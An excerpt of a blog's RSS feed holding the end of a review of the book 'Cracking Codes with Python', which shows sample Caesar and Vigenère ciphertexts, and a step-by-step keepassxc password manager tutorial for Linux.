src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Codes with secret information? Like secret messages? Yes, messages that if someone were to read, they wouldn&amp;rsquo;t know what they mean. Look at these examples, do you already know what message each one hides?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# César Cipher&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ujsiyru bq gqbqriq kfcqku ud bfj sfcudkqiyfj jy gltyjku tujsyviqi ub kuñkf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The one above is very simple to decipher. This one is even more complicated but a piece of cake for any modern computer. Each text was created using a different encryption method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#  Vigenère Cipher&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Mbza btx cj i yomncm oom gfzr ihggtvitnvl gnth kpr vkymqbal iem&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt; Culn kpr qxs zv gnx wfuzkgnj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the book I am going to tell you about today, the author explains different encryption methods that have been used throughout history, such as the Caesar cipher, Vigenère, transposition, affine transformation, one-time use ciphers or the famous and currently used RSA cipher. The author will show you how to use Python to create encrypted messages and, once created, will teach you how to decrypt them by brute force, lexical analysis and other more sophisticated methods.&lt;/p&gt;&#xA;&lt;p&gt;Cracking Codes with Python assumes you know absolutely nothing about Python, it will use cryptography to teach you the basics about strings, lists, dictionaries, functions, sets, as well as their respective methods. This makes the introduction to the language much more enjoyable, as it is not a review of the documentation, but a completely practical application. However, because the book focuses only on the cryptographic part, you will not see any GUI, web scraping, API creation, external Python libraries (except &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/project/pyperclip/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;pyperclip&lt;/a&gt;&#xA;), or any other modern applications of the language.&lt;/p&gt;&#xA;&lt;p&gt;This book is completely free for you to read in its entirety, to read it &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://inventwithpython.com/cracking/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;go to the author&amp;rsquo;s official website&lt;/a&gt;&#xA; or you can buy it on Amazon here: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4n8EZk9&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Cracking codes with Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;my-opinion-about-cracking-codes-with-python&#34;&gt;My opinion about Cracking Codes with Python&lt;/h2&gt;&#xA;&lt;p&gt;From my standpoint Cracking Codes with Python is good material if any of the following assumptions are met:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You want to learn the basics of Python&lt;/li&gt;&#xA;&lt;li&gt;You want to know the history of cryptography&lt;/li&gt;&#xA;&lt;li&gt;You are a history and technology enthusiast&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On the other hand, regardless of the above, I &lt;strong&gt;recommend you to read the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://inventwithpython.com/cracking/chapter23.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;RSA encryption chapter&lt;/a&gt;&#xA;&lt;/strong&gt; as I believe that the operation of public and private keys is something that everyone involved in web development should know.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recommended Prior Knowledge:&lt;/strong&gt; Basic Mathematics&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 6/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English&lt;/p&gt;&#xA;&lt;p&gt;Go to my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;Python immersion&lt;/a&gt;&#xA; to read about another great book for learning Python from scratch.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Who hasn&amp;rsquo;t been tried to be convinced to invest in multi-level Bitcoin marketing? I have, but hopefully it will never happen to you. Thanks to Bitcoin, cryptography is on everyone&amp;rsquo;s lips lately, especially in the discourse of unscrupulous marketers, but cryptography is not recent, it has been in use for centuries; programming and coding only made it much faster and more efficient. The first time I read about cryptography was in the novel Cryptonomicon, where the idea of cryptocurrencies was already being discussed long before the appearance of Bitcoin. Today I come to tell you about Cracking Codes with Python, &lt;strong&gt;a book that uses cryptography to explain Python&lt;/strong&gt;. This book teaches you basic Python from scratch while giving an overview of cryptography through history, with everything and Alan Turing included.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Secure passwords, keepassxc tutorial</title>
      <link>https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/</link>
      <pubDate>Wed, 15 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In the previous post I talked about some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/how-to-create-a-secure-password/&#34;&gt;good practices using passwords&lt;/a&gt;&#xA;. One of the recommendations was to use a different password for each website. However, remembering many passwords is complicated and saving passwords in plain text is unthinkable if we value our computer security at all. There are quite a few password managers available, this post is a tutorial of keepassxc, a &lt;strong&gt;free, open source and super secure&lt;/strong&gt; password manager.&lt;/p&gt;&#xA;&lt;h2 id=&#34;why-not-use-the-firefox-or-chrome-password-manager&#34;&gt;Why not use the firefox or chrome password manager?&lt;/h2&gt;&#xA;&lt;p&gt;I am one of those who believe that &lt;strong&gt;the less sensitive information a third party has the better&lt;/strong&gt;. Websites or browsers that offer password management services are quite an attractive booty for people with bad intentions, and many times we don&amp;rsquo;t know if the person behind the servers is capable enough to maintain a secure system.&lt;/p&gt;&#xA;&lt;p&gt;Who hasn&amp;rsquo;t heard of massive leaks of user data at even the largest companies? For this reason I prefer to keep my passwords inside my computer and using a program whose source code is visible to anyone who wants to examine it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;keepassxc&#34;&gt;keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;keepassxc is the program I prefer to manage passwords. The code can be found at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://keepassxc.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;the keepassxc page&lt;/a&gt;&#xA; you can download it or compile it directly from their repositories.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installing-keepassxc&#34;&gt;Installing keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;To install keepassxc we can do it from the command line as long as it is in the repositories of your GNU/Linux distribution&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install keepassxc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the installation was successful we will be able to run it from its icon or from the terminal.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keepassxc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When we open the program it will show us the &amp;ldquo;Welcome&amp;rdquo; legend. Once in this point we will create a new database, to do it we click on the Database menu.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-pantalla-inicio.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-pantalla-inicio.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;keepassxc startup screen&#34; width=&#34;880&#34; height=&#34;551&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Decide on a name and description for the database.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-crear-base-de-datos.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-crear-base-de-datos.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Create database in keepassxc&#34; width=&#34;881&#34; height=&#34;773&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Then it will ask for the decryption time. If you do not know what this is for, leave it as it is.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-tiempo-descifrado.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-tiempo-descifrado.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;decryption time in keepassxc&#34; width=&#34;878&#34; height=&#34;691&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now the program will ask us to enter a master password and confirm it. &lt;strong&gt;This is the only password you will need to remember&lt;/strong&gt; and it is also the one you will need to access the rest of the passwords. For this reason you should &lt;strong&gt;make sure that the password is strong enough and also that you are able to remember it&lt;/strong&gt;, otherwise the rest of your passwords will be inaccessible to you.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-contrasena.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-contrasena.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Create a password in keepassxc&#34; width=&#34;879&#34; height=&#34;680&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Once we have done that, a folder will be created on the left side. We can create other folders to organize our passwords.&lt;/p&gt;&#xA;&lt;h2 id=&#34;generate-a-password-in-keepassxc&#34;&gt;Generate a password in keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;To create a new password click on the icon with the plus sign.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-carpeta.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-carpeta.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Create a record in keepassxc&#34; width=&#34;879&#34; height=&#34;242&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This will bring up a form where we can specify the title, username, password, website url, an optional expiration date and a note, also optional.&lt;/p&gt;&#xA;&lt;p&gt;Click on the dice to have keepassxc generate a new password.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/formulario-de-contrasena-keepassxc.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/formulario-de-contrasena-keepassxc.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Create password in keepassxc&#34; width=&#34;881&#34; height=&#34;528&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;We can choose whether to create a password ourselves or ask the program to generate it automatically. And we can choose two modes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Password: Based on random characters&lt;/li&gt;&#xA;&lt;li&gt;Passphrase: Based on random words&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/modos-creacion-contrasena-keepassxc.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/modos-creacion-contrasena-keepassxc.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Types of password creation in keepassxc&#34; width=&#34;869&#34; height=&#34;693&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In both cases we can choose the length of the password, whether we want to use uppercase, lowercase or special characters, as well as make sure that the password includes characters from all groups.&lt;/p&gt;&#xA;&lt;h2 id=&#34;download-icon-with-keepassxc&#34;&gt;Download icon with keepassxc&lt;/h2&gt;&#xA;&lt;p&gt;We can also ask keepassxc to download the website&amp;rsquo;s favicon, just to make it look nice in the password list.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-descargar-icono.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/keepassxc-descargar-icono.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Download icon in keepassxc&#34; width=&#34;774&#34; height=&#34;161&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Once the options have been set, click on Accept. If we press the icon with the image of the eye it will show us the password created.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/contrasena-guardada-keepassxc.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/secure-passwords-keepassxc-tutorial/images/contrasena-guardada-keepassxc.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;password created and saved&#34; width=&#34;882&#34; height=&#34;181&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The program will save the records and display them in its right pane. If we right click on the entry we have just created we can copy the username or password to the clipboard to use it as we wish. **For security reasons the program makes sure that the password we pass to the clipboard is only available for a short period of time **.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-keepassxc-store-passwords&#34;&gt;How does Keepassxc store passwords?&lt;/h2&gt;&#xA;&lt;p&gt;Keepassxc stores all our encrypted passwords in a file with extension &lt;em&gt;.kdbx&lt;/em&gt;. You can try to read the contents of the file using the &lt;em&gt;cat&lt;/em&gt; command and you will notice that &lt;strong&gt;the passwords are not stored in plain text&lt;/strong&gt;, but encrypted, so you will only see meaningless characters.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat archivo.kdbx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;�.�ٞ��;��5 E����x���&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;w?l&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;K��6�d���KУ��&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;R�NR&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;4C����ݠ���&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                              V�P����4+����ׁ˪q��^��H�ǉAhR�Yc��Bߒ_Z���&amp;lt;���C�&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;��W�&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;ސ�o�ӎ �*쑜�����i9.�e���&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;�9&#x9;uܼJ+��v�~RLf����y�8�I&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;~E&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;�M��bÄ�h@&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;2��|#$�8�D%|�;~j:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;��0�x��K�UϥÈ&#x9;�mL~`i5���p�k�᭾Ԉ��c��.�׏�k���oE&amp;#39;&lt;/span&gt;i�&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;o�����v5�⚂��v�p8&amp;#34;&lt;/span&gt;�n��&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;so�.�gȣև�H��V&amp;amp;�&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;g.���0���_w:�s�@�&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3�&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;�o���|���7&amp;amp;_f=#W��ۡK=I&amp;lt;]}��j@]&lt;/span&gt;$&lt;span style=&#34;color:#5af78e&#34;&gt;��hMX�oʭr���f�׹��&#x9;�Z���O,�}�&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;��+�Q{�hs�����?�&lt;/span&gt;$&lt;span style=&#34;color:#5af78e&#34;&gt;�ҥUZ)���w!���v�:ݜ9A�ò����уQ�x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The file containing your passwords can be backed up on a usb or even uploaded to the web. &lt;strong&gt;If someone wants to see your passwords they will need the master password you created&lt;/strong&gt; as well as the file with extension &lt;em&gt;kdbx&lt;/em&gt;, both.&lt;/p&gt;&#xA;&lt;p&gt;It is important to remind you again that this file will store your passwords, so &lt;strong&gt;if you lose it, delete it or forget the master password you will have lost access to all your accounts&lt;/strong&gt;. It is paramount to always have a backup in a safe place.&lt;/p&gt;&#xA;&lt;p&gt;Now you can have any number of passwords stored and, if you chose to create them randomly, each one of them will be different from the rest and will be completely secure against brute force attacks, while you will only need to keep a single password memorized.&lt;/p&gt;&#xA;</content:encoded>
